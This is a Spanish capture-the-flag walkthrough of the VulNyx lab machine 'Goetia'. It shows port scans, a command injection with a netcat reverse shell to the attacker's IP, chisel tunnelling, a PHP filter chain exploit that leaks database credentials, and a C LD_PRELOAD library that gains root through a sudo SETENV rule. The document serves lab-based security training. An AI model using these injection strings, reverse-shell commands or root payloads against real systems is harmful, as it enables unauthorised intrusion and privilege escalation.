VulNyx - Goetia
- Command Injection - RCE
- PHP Filter Chains
- Sudo LD_PRELOAD Privilege Escalation
Escaneo de puertos
❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.20
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
Escaneo de servicios
❯ nmap -sVC -v -p 22,80 192.168.1.20
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 bd4b59a41cb23af474b57dcf49a3a947 (RSA)
| 256 e9ebb86748f630ece19a27aeb71af905 (ECDSA)
|_ 256 0e8018c9371bdf5111eb4986a5e71c1c (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Base64 Decode
HTTP - TCP 80
Si voy al sitio web veo una herramienta para decodificar base64.
Con burpsuite intercepto la petición.
Después de varias pruebas encuentro la forma de ejecutar comandos.
❯ curl -s -X POST "http://192.168.1.20/index.php" -d "input=;id;a" | grep "textarea" | html2text
Obtengo una shell como usuario apache.
❯ curl -s -X POST "http://192.168.1.20/index.php" -d "input=;nc -c /bin/sh 192.168.1.18 443;a" | grep "textarea" | html2text
Enumero usuarios del sistema mediante el fichero passwd.
bash-4.2$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ebathory:x:1000:1000:Elizabeth Bathory:/home/ebathory:/bin/bash
Si intento acceder al home de ebathory me dice que no tengo permisos.
bash-4.2$ cd /home/ebathory/
bash: cd: /home/ebathory/: Permission denied
Con ss -ltun obtengo una lista detallada de las conexiones que están a la escucha.
bash-4.2$ ss -ltn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
tcp LISTEN 0 100 127.0.0.1 :25
tcp LISTEN 0 128 127.0.0.1 :8000
tcp LISTEN 0 128 [::] :80
tcp LISTEN 0 128 [::] :22
Lanzo curl para ver información del puerto 8000.
bash-4.2$ curl -I 127.0.0.1:8000
HTTP/1.0 500 Internal Server Error
Date: Mon, 21 Aug 2023 17:24:42 GMT
Server: Apache/2.4.57 (Debian)
X-Powered-By: PHP/8.1.22
Connection: close
Content-Type: text/html; charset=UTF-8
Me descargo chisel en la máquina víctima para realizar un local port forwarding
, en la máquina atacante uso chisel en modo servidor.
❯ ./chisel server -p 9080 --reverse
En la máquina víctima lanzo chisel en modo cliente.
bash-4.2$ ./chisel client 192.168.1.18:9080 R:8000:127.0.0.1:8000
Ahora desde mi máquina puedo ver el puerto interno 8000 de la máquina víctima.
Realizo fuerza bruta de extensiones y encuentro dos archivos.
❯ wfuzz -c -t 200 --hc=404 -w /usr/share/seclists/Discovery/Web-Content/common.txt -z list,php-zip "http://127.0.0.1:8000/FUZZ.FUZ2Z"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://127.0.0.1:8000/FUZZ.FUZ2Z
Total requests: 18852
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000003014: 200 1 L 16 W 331 Ch "autobackup - zip"
000008277: 200 0 L 0 W 0 Ch "hidden - php"
Visito el archivo hidden.php
pero no muestra nada.
Descargo autobackup.zip
y lo descomprimo.
❯ unzip autobackup.zip
Archive: autobackup.zip
inflating: index.php
El contenido del archivo index.php
permite al usuario obtener el valor MD5 de un archivo interno del servidor.
<?php
echo "<h1>MD5 function!</h1>";
echo "Do you want to know the MD5 value of an internal server file? Go ahead...<br><br>";
$result = md5_file($_POST['input']);
echo "<b>File:</b> " . $_POST['input'] . "<br>";
echo "<b>MD5:</b> " . $result;
?>
En este paso me quedé atascado pero gracias a la pista de UnD3sc0n0c1d0 encontré esta web php filter chains. En al misma web existe esta herramienta para automatizar la explotación de la vulnerabilidad. Uso la herramienta apuntando al archivo hidden.php
con el parámetro input y encuentro unas credenciales del usuario ebathory que me servirán para conectarme a la máquina por ssh.
❯ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1:8000 --file '/var/www/html/hidden.php' --parameter input
[+] File /var/www/html/hidden.php leak is finished!
b'PD9waHAKZGVmaW5lKCdEQl9OQU1FJywgJ0FuRWxpemFiZXRoYW5EZXZpbFdvcnNoaXBwZXJzUHJheWVyQm9vaycpOwpkZWZpbmUoJ0RCX1VTRVInLCAnZWJhdGhvcnknKTsKZGVmaW5lKCdEQl9QQVNTV09SRCcsICd*****************************nKTsKZGVmaW5lKCdEQl9IT1NUJywgJ2xvY2FsaG9zdCcpOwpkZWZpbmUoJ0RCX0NIQVJTRVQnLCAndXRmOCcpOwo/'
b"<?php\ndefine('DB_NAME', 'AnElizabethanDevilWorshippersPrayerBook');\ndefine('DB_USER', 'ebathory');\ndefine('DB_PASSWORD', 'C*******************u');\ndefine('DB_HOST', 'localhost');\ndefine('DB_CHARSET', 'utf8');\n?"
Una vez dentro de la máquina enumero permisos de sudo.
[ebathory@goetia ~]$ sudo -l
[sudo] password for ebathory:
Matching Defaults entries for ebathory on goetia:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG
LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE
LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User ebathory may run the following commands on goetia:
(root) SETENV: /opt/services.sh
Archivo services.sh
.
[ebathory@goetia ~]$ cat /opt/services.sh
#!/bin/bash
/usr/bin/systemctl --no-pager | wc -l
Lanzo el script para ver que hace.
[ebathory@goetia ~]$ /opt/services.sh
116
En esta web encuentro este código en C
para elevar privilegios.
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Este código se aprovecha de la función
_init()
que se ejecuta automáticamente al inicio de un programa. Primero borra la variable de entornoLD_PRELOAD
. Después cambia la identidad del proceso para obtener privilegios de root y finalmente ejecuta una shell permitiendo el control completo del sistema.
Para compilar el código sigo las intrucciones que me indica la web.
❯ gcc -fPIC -shared -o priv.so priv.c -nostartfiles
priv.c: In function ‘_init’:
priv.c:7:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
7 | setgid(0);
| ^~~~~~
priv.c:8:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
8 | setuid(0);
| ^~~~~~
Obtengo el root de la siguiente forma.
[ebathory@goetia tmp]$ sudo -u ebathory LD_PRELOAD=/tmp/priv.so /opt/services.sh
[sudo] password for ebathory:
bash: fork: No se pudo asignar memoria
[root@goetia tmp]# id
uid=0(root) gid=0(root) grupos=0(root)
Y con esto ya tenemos resuelta la máquina Goetia.
Saludos!